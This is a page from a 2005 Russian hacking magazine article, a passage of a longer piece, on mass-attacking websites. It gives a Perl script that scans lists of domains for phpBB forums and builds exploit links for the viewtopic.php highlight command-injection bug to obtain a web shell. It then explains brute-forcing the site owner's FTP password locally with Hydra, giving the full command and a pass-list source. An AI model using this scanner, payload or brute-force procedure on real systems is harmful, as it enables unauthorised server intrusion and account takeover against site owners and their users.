Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #75, МАРТ 2005 г.

Удар по вебу

Толстых Олег aka NSD

Хакер, номер #075, стр. 075-060-3


$source="in.txt"; $result="result.htm";

open (FILE, $source);

while ($str=<FILE>)

{ if($str=~/\[whois\]/igs)

{ @str=split (" ", $str);

$site=$str[1];

$url="http://www.$site/forum";

find_bug($url,$result);

$url="http://www.$site/phpbb";

find_bug($url,$result);

$url="http://www.$site/phpBB";

find_bug($url,$result);

$url="http://forum.$site";

find_bug($url,$result);

$i++; print "$i: $site\n";

}

}

sub find_bug

{ $url=shift;

$result=shift;

open (RES, ">>$result");

$browser = LWP::UserAgent->new;

$res=$browser->get($url);

if($res->content =~/viewforum.php/igs)

{ $exploit="$url/viewtopic.php?t=7&highlight=%2527.\$poster=%60\$cmd%60.%2527&cmd=uname%20-a";

print RES "<a href=\"$exploit\" target=\"_blank\">$exploit</a>\n<br>$webpage<hr>";

}

close (RES);

}

Ну вот и все, самописный крякер инета создан и готов к работе! Прежде чем его запустить, нужно сохранить текст web-страницы со списком доменов с сервиса www.domainsdb.net в файле in.txt. После того как программка закончит работу, в файле result.htm не только появится листинг найденных phpBB-форумов, но и ссылки-эксплойты, дающие хакеру доступ к web-шеллу на сайте с бажным phpBB.

Локальный взлом

Если удача улыбнется хакеру, то желанный уязвимый форум найдется и, следовательно, компьютерный негодяй получит возможность исполнять через него команды операционной системы (рисунки 4 и 5). Но что он будет делать дальше? Ведь хакер не сможет ни изменять, ни даже читать файлы, относящиеся к сайту www.zhopa.net, поскольку шелл получен через бажную хоум-пагу постороннего юзера. Для этого ему придется поломать аккаунт пользователя, которому принадлежит сайт zhopa.net. Про методы локального взлома можно написать не одну статью, но сейчас я расскажу только об одной технологии – о локальном брутфорсе. Для ее реализации падонок сначала выудит из файла /etc/passwd логин целевого пользователя (в нашем случае логин владельца жопа.нет), потом установит на сервер многофункциональный брутфорсер Hydra и начнет с его помощью подбор пароля к FTP/SSH, MySQL-сервису, которым владеет атакуемый юзер. О том, как устанавливать гидру, я уже повествовал пару номеров назад, поэтому сейчас расскажу только о том, как можно юзать ее в данном случае.

Итак, взломщику придется приготовить файл с потенциальными паролями, которые будут использоваться для брута. Он может либо скачать уже готовую подборку паролей с NSD.ru (http://nsd.ru/soft.php?group=hacksoft&razdel=passwords), либо составить свой персональный пасс-лист. Допустим, наш взломщик сохранил пароли в файле pass.txt. Теперь ему нужно натравить гидру на аккаунты zhopa.net, запустив перебор вот так:

hydra -l логин_от_жопа_нет -P pass.txt –t 255 127.0.0.1 ftp

После этого начнется брутфорс-атака FTP-сервиса, использующая 255 потоков. Поскольку взламываемый сервис является локальным, скорость перебора будет максимально высокой и пароль будет очень скоро получен. Если, конечно, перебор не запалит администратор сервера :).

Назад на стр. 075-060-2  Содержание  Вперед на стр. 075-060-4